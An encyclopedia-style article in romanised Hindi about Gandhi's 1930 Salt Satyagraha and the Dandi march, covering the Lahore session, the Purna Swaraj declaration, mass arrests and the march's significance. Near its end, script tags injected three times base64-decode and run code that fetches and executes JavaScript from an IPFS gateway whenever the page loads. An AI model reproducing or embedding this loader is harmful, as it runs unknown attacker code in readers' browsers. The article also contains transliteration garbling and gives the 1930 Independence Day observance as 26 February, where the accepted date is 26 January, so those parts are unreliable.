नमक सत्याग्रह

[[chitr:MKGandhi.gif|mahatma gaandhi|thumb|250px]]

namak satyagrah rashtrapita mahatma gaandhi dvara chalaye gaye andolanoan mean se ek tha. gaandhiji ne svatantrata divas manae jane ke turant bad ghoshana ki ki ve british bharat ke sarvadhik ghrinit qanoonoan mean se ek, jisane namak ke utpadan aur vikray par rajy ko ekadhikar de diya hai, ko to dane ke lie ek yatra ka netritv kareange. mahatma gaandhi ne 'namak ekadhikar' ke jis mudde ka chayan kiya tha, vah gaandhiji ki kushal samajhadari ka ek any udaharan tha. pratyek bharatiy ghar mean namak ka prayog aparihary tha, lekin isake bavazood unhean ghareloo prayog ke lie bhi namak banane se roka gaya aur is tarah unhean dukanoan se ooanche dam par namak kharidane ke lie badhy kiya gaya. namak par rajy ka ekadhipaty bahut alokapriy tha. isi ko nishana banate hue gaandhiji aangrezi shasan ke khilaf vyapak asantosh ko sanghatit karane ki soch rahe the.

varshik adhiveshan

mahatma gaandhi ne asahayog aandolan samapt hone ke kee varsh bad tak apane ko samaj sudhar karyoan par keandrit rakha. mahatma gaandhi ne 1928 mean pun: rajaniti mean pravesh karane ki sochi. us varsh sabhi shvet sadasyoan vale saiman kamishan, jo ki upanivesh ki sthitiyoan ki jaanch-p datal ke lie ianglaiand se bheja gaya tha, usake viruddh akhil bharatiy abhiyan chalaya ja raha tha. gaandhiji ne is aandolan mean svayan bhag nahian liya tha, par is aandolan ko unhoanne apana ashirvad diya tha tatha isi varsh baradoli mean hone vale ek kisan andolan ke sath bhi unhoanne aisa kiya tha. 1929 mean disanbar ke aant mean kaangres ne apana varshik adhiveshan lahaur shahar mean kiya. yah adhiveshan do drishtiyoan se mahattvapoorn tha-

1. javaharalal neharoo ka adhyaksh ke roop mean chunav, jo yuva pidhi ko netritv ki chh di sauanpane ka pratik tha.
2. ‘poorn svaraj’ athava 'poorn svatantrata ki udghoshana'.

svatantrata ki udghoshana

rajaniti ki gati ek bar phir badh gee thi. 26 faravari, 1930 ko vibhinn sthanoan par rashtriy dhvaj faharakar aur deshabhakti ke git gakar ‘svatantrata divas’ manaya gaya. gaandhiji ne svayan suspasht nirdesh dekar bataya ki is din ko kaise manaya jana chahie. unhoanne kaha ki yadi svatantrata ki udghoshana sabhi gaanvoan aur shaharoan mean ho, achchha hoga. gaandhiji ne sujhav diya ki naga de pitakar paranparik tarike se sangoshthi ke samay ki ghoshana ki jae. samarohoan ki shuruat rashtriy dhvaj ko faharae jane se hogi. din ka baki hissa kisi rachanatmak kary mean chahe vah soot kataee ho athava ‘achhootoan’ ki seva athava hianduoan v musalamanoan ka punarmilan athava nishiddh kary athava ye sabhi ek sath karane mean vyatit hoga aur yah asanbhav nahian hai. isamean bhag lene vale log dridhatapoorvak yah pratijna leange ki any logoan ki tarah bharatiy logoan ko bhi svatantrata aur apane kathin parishram ke phal ka anand lene ka aharaniy adhikar hai aur yah ki yadi koee bhi sarakar logoan ko in adhikaroan se vanchit rakhati hai ya unaka daman karati hai to logoan ko inhean badalane athava samapt karane ka bhi adhikar hai.

namak yatraoan ka ayojan

gaandhiji ki is chunauti ka mahattv adhikaansh bharatiyoan ko samajh mean a gaya tha kintu aangrezi raj ko nahian. halaanki gaandhiji ne apani ‘namak yatra’ ki poorv soochana vaisaray irvin ko de di thi, kintu irvin unaki is karyavahi ke mahattv ko n samajh sake. 12 march 1930 ko gaandhiji ne sabaramati ashram mean apane ashram se samudr ki or chalana shuroo kiya. tin haphtoan bad gaandhiji apane gantavy sthan par pahuanche. vahaan unhoanne muth‌thi bhar namak banakar svayan ko qanoon ki nigah mean aparadhi bana diya. isi bich desh ke any bhagoan mean samantar namak yatraean ayojit ki gee.

aupaniveshik shasan ke viruddh

asahayog andolan ki tarah adhikॄt roop se svikॄt rashtriy abhiyan ke alava bhi virodh ki asankhy dharaean thian. desh ke vishal bhag mean kisanoan ne damanakari aupaniveshik van qanoonoan ka ullanghan kiya, jisake karan ve aur unake maveshi unhian jangaloan mean nahian ja sakate the, jahaan ek jamane mean ve berokatok ghoomate the. kuchh kasboan mean phaiktri kamagar h datal par chale ge, vaqiloan ne british adalatoan ka bahishkar kar diya aur vidyarthiyoan ne sarakari shiksha sansthanoan mean padhane se inkar kar diya. thumb|250px|left|namak satyagrah, daandi march ka ek drishy sanh 1920-22 ee. ki tarah is bar bhi gaandhiji ke ahvan ne tamam bharatiy vargoan ko aupaniveshik shasan ke viruddh apana asantosh vyakt karane ke lie prerit kiya. javab mean sarakar asantushtoan ko hirasat mean lene lagi. namak satyagrah ke silasile mean lagabhag 60,000 logoan ko giraftar kiya gaya. giraftar hone valoan mean gaandhiji bhi the. samudr tat ki or gaandhiji ki yatra ki pragati ka pata unaki gatividhiyoan par nazar rakhane ke lie tainat pulis afasaroan dvara bheji gee gopaniy riport se lagaya ja sakata hai. in riportoan mean raste ke gaanvoan mean gaandhiji dvara die ge bhashan bhi milate haian, jinamean unhoanne sthaniy adhikariyoan se ahvan kiya tha ki ve sarakari naukariyaan chho dakar svatantrata sangharsh mean shamil ho jaean.

svaraj ki sidhiyaan

vasana namak gaanv mean gaandhiji ne ooanchi jati valoan ko sanbodhit karate hue kaha tha ki yadi ap svaraj ke haq mean avaz uthate haian, to apako achhootoan ki seva karani p degi. apako svaraj sirf namak kar ya any karoan ke khatm ho jane se nahian mil jaega. svaraj ke lie apako apani un galatiyoan ka prayashchit karana hoga jo apane achhootoan ke sath ki haian. svaraj ke lie hindoo, musalaman, parasi aur sikh, sabako ekajut hona p dega. ye svaraj ki sidhiyaan haian. pulis ke jasoosoan ne apani riport mean likha tha ki gaandhiji ki sabhaoan mean tamam jatiyoan ke aurat-mard shamil ho rahe haian. unaka kahana tha ki hazaroan v aaulantiyar rashtravadi uddeshy ke lie samane a rahe haian. unamean se bahut sare aise sarakari afasar the jinhoanne aupaniveshik shasan mean apane padoan se istifa de diya tha. sarakar ko bheji apani riport mean zila pulis supariteandeant pulis adhikshak ne likha tha ki shri gaandhiji shaant aur nishchiant dikhaee die. ve jaise-jaise age badh rahe haian, unaki takat badhati ja rahi hai.

janasamarthan

[[chitr:Dandi-March.jpg|thumb|300px|gyarah moorti, nee dilli, (namak satyagrah, daandi march ka ek drishy)]] namak yatra ki pragati ko ek aur bat se bhi samajha ja sakata hai. ameriki samachar patrika taim ko gaandhiji ki qadakathi par hansi ati thi. gaandhiji ke takue jaise sharir aur mak di jaise pairoan ka patrika ne khoob majak u daya tha. is yatra ke bare mean apani pahali riport mean hi taim ne namak yatra ke manzil tak pahuanchane par apani gahari shanka vyakt kar di thi. usane dava kiya ki gaandhiji doosare din paidal chalane ke bad zamin par pasar ge the. patrika ko is bat par vishvas nahian tha ki is mariyal sadhu ke sharir mean aur age jane ki takat bachi hai. lekin patrika ki soch ek hi rat mean badal gee. taim ne likha ki is yatra ko jo bhari janasamarthan mil raha hai usane aangrez shasakoan ko bechain kar diya hai. ab ve bhi gaandhiji ko aisa sadhu aur jananeta kahakar salami dene lage haian, jo eesaee dharmavalanbiyoan ke khilaf eesaee tarikoan ka hi hathiyar ke roop mean istemal kar raha hai.

ullekhaniyata

namak yatra kam se kam tin karanoan se ullekhaniy thi-

1. yahi vah ghatana thi, jisake chalate mahatma gaandhi duniya ki nazar mean ae. is yatra ko yoorop aur ameriki pres ne vyapak kavarej di.
2. yah pahali rashtravadi gatividhi thi, jisamean auratoan ne bhi badh-chadhakar hissa liya. samajavadi karyakarta kamaladevi chattopadhyay ne gaandhiji ko samajhaya ki ve apane aandolanoan ko purushoan tak hi simit n rakhean. kamaladevi khud un asankhy auratoan mean se ek thian, jinhoanne namak ya sharab qanoonoan ka ullanghan karate hue samoohik giraftari di thi.
3. namak yatra ke karan hi aangrezoan ko yah ahasas hua tha ki ab unaka raj bahut din nahian tik sakega aur unhean bharatiyoan ko bhi satta mean hissa dena p dega.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

suvyavasthit lekh|link=bharatakosh:suvyavasthit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>